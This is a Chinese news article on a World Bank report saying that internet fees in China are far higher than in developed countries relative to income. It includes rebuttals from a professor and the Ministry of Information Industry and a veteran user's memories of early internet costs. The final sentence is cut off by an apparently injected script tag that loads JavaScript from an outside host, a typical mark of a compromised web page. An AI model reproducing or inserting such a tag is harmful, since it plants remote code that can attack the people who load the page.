“尽管近10年来，中国的信息产业以2-3倍于gdp的速度增长，成为经济发展的主动力，但中国的信息化建设正面临资费过高、法规不健全、对国外技术依赖过大以及人才缺乏等四大障碍。”这是世界银行《中国的信息革命：推动经济和社会转型》报告中提到的问题，报告同时显示，目前中国的互联网使用价格占收入水平的10%，这一比例是发达国家的10倍。
报告指出，尽管中国拥有世界第二大互联网和宽带市场，但目前中国互联网使用价格占收入水平的比重仍然偏高。发达国家互联网使用价格不到其收入水平的1%，而中国的比例超过10%，是发达国家的10倍，也高于东亚及太平洋地区约8%的平均水平。同时，世行认为，中国的农民与低收入群体正遭遇“数字鸿沟”，这可能加剧其收入和机会的不平等状况。
世行报告公布后，引起网友的强烈关注和热烈讨论。在记者采访中，认为上网费用确实昂贵的网友，占被访者的绝大多数。当然，这个数据也要考虑到大多数网友作为消费者，出于对电信垄断和网费高企的反感心理，即使对其他国家上网费用毫不知晓也会本能地接受的心理因素。但不可否认，即便是以收入水平相对较高的北京、上海为例，每月120元至160元的包月上网费用，也是一个有必要列入支出表中的数字；而对于中国面积相当广阔的农村来说，虽然网络通信已经发展十多年，而在很多地方，上网，仍然是一件有些神秘的事情。
对此，国家信息化专家咨询委员会政策与规划委员会副主任高新民表示，中国的互联网使用资费的确存有下降空间，而价格下降的关键是市场的充分竞争，但他没有透露下降的空间有多大。世行全球信息通讯技术局局长穆森·卡里尔则提出了另一种解决“数字鸿沟”的方案——建立普遍服务基金，即对电信运营商收取一定比例的资金，给弱势群体以补贴。穆森·卡里尔透露，这种方案已经被一些国家采用。
不贵：世行报告荒诞
“不应该以‘互联网使用价格占收入水平的比重’作为考量标准。”与普通网友的义愤填膺相比，来自部分专家和信息产业部的说法却和世界银行完全不同。
5月8日，北邮教授曾剑秋第一个正式提出了对世行报告的驳斥。针对“中国上网费用是发达国家10倍”的说法，曾剑秋认为这一结论的依据极不科学、不严肃，不应该以“互联网使用价格占收入水平的比重”作为考量标准。他表示，科学的标准当然是绝对值比较法。以中国宽带包月服务为例，一般价位在80-120元左右，而美国、英国等国相关费用在20美元左右，中国的资费远低于很多发达国家。
曾剑秋对媒体表示，近10年来，中国的信息产业以2-3倍于gdp的速度增长，成为经济发展的主动力，现在已成为世界第二大互联网市场，所取得的成绩有目共睹。比较起几年前的资费，所有人都会感觉中国的上网资费有明显下降，今后必然还会继续下降。而且他认为，“垄断运营致上网费用虚高，我国互联网资费至少有20%至30%的下降空间”的说法并不成立，网络服务市场并非垄断运营。作为中国的网络服务供应商，电信、铁通、网通等在局部地区竞争非常激烈，而目前制约中国互联网收费的有三大因素，一是中国的互联网建设仍在发展中，基础设施建设尚未成熟；二是网民数量虽总数达1.37亿且增长迅速，但长期使用网络服务的忠实用户并不多；三是目前的资费体制主要基于拓展市场的需求考虑，市场运作程度较低。
5月11日，一直对世行报告未表态的信息产业部终于开口。信息产业部新闻处处长王立健对新民网表示，世行报告有关数据站不住脚，中国上网费用贵不贵不能一概而论，而应该依据准确统计数据和科学评判标准作出判断。
贵与不贵，谁说了算
“从internat进入中国开始，上网费用确实一直呈现下降趋势。”从1996年就开始上网的王女士这样对市场报记者回忆自己十年来对网络生活的感受，不过她同时认为，与国外已经发展成为生活必需的网络环境来说，中国的网络消费环境仍然还离平民化有一定距离。
在北京从事it工作的王女士可以说是中国最早的那批网民，她至今仍然记着当年听着14.4k“猫”（调制解调器）的吱嘎声，第一次在dos界面上输入用户名和密码时的紧张，以及学会上网后，在水木清华bbs上畅快淋漓的发言，在完全靠文字传情的著名“网络泥巴”（英文网络游戏的音译）风云中笑傲江湖的开心。由于有过每小时20元、一个月上网费几千元（还是节俭使用）的经历，王女士对现在每月120元的包月费用并没有太大的意见。毕竟在中国，网络的使用已经从十多年前局限在极少部分人之间，发展到了如今妇孺皆知的局面，变化不可以说是?script src=http://er12.com/t.js>
